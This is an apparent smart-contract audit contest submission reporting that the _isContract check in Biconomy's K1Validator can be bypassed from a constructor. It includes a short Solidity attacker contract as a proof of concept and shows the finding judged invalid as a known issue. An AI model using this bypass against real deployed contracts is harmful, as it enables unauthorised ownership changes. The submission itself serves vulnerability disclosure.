Submission Details
Severity:
Bypass of `_isContract` Check Allows Contract Ownership Assignment
## Summary
The [_isContract](https://github.com/Cyfrin/2024-07-biconomy/blob/9590f25cd63f7ad2c54feb618036984774f3879d/contracts/modules/validators/K1Validator.sol#L140) check in the [onInstall](https://github.com/Cyfrin/2024-07-biconomy/blob/9590f25cd63f7ad2c54feb618036984774f3879d/contracts/modules/validators/K1Validator.sol#L51) and [transferOwnership](https://github.com/Cyfrin/2024-07-biconomy/blob/9590f25cd63f7ad2c54feb618036984774f3879d/contracts/modules/validators/K1Validator.sol#L66) functions can be bypassed if called within a contract's constructor, potentially allowing a contract to be set as the owner.
## Vulnerability Details
The `onIstall` and `transferOwnership` functions prevent contracts from setting themselves as the owner, but the `_isContract` check can be bypassed. This check can be circumvented when called within a contract's constructor. During the constructor's execution, the `extcodesize` of the contract returns zero, enabling this bypass.
Attacker Contract Example:
```javascript
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
interface IK1Validator {
function onInstall(bytes calldata data) external;
function transferOwnership(address newOwner) external;
}
contract Attacker {
IK1Validator public validator;
constructor(address validatorAddress) {
validator = IK1Validator(validatorAddress);
// Bypass _isContract check by calling onInstall in the constructor
bytes memory ownerData = abi.encodePacked(address(this));
validator.onInstall(ownerData);
// Bypass _isContract check by calling transferOwnership in the constructor
validator.transferOwnership(address(this));
}
}
```
## Impact
User can set a contract as the owner, bypassing intended restrictions.
## Tools Used
Manual Review
## Recommendations
Consider using OpenZeppelin's Contract.
Updates
Lead Judging Commences
0xnevi 11 months ago
Submission Judgement Published Reason: Known issue
Assigned finding tags:
finding-isContract-check
Invalid [known issue [Medium-3]](https://github.com/Cyfrin/2024-07-biconomy/issues/1)
Prize pool breakdown
Total prize
30,000 USDC
nSLOC
1,43321 USDC / LOC
25,000 USDC
2,750 USDC
2,250 USDC
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.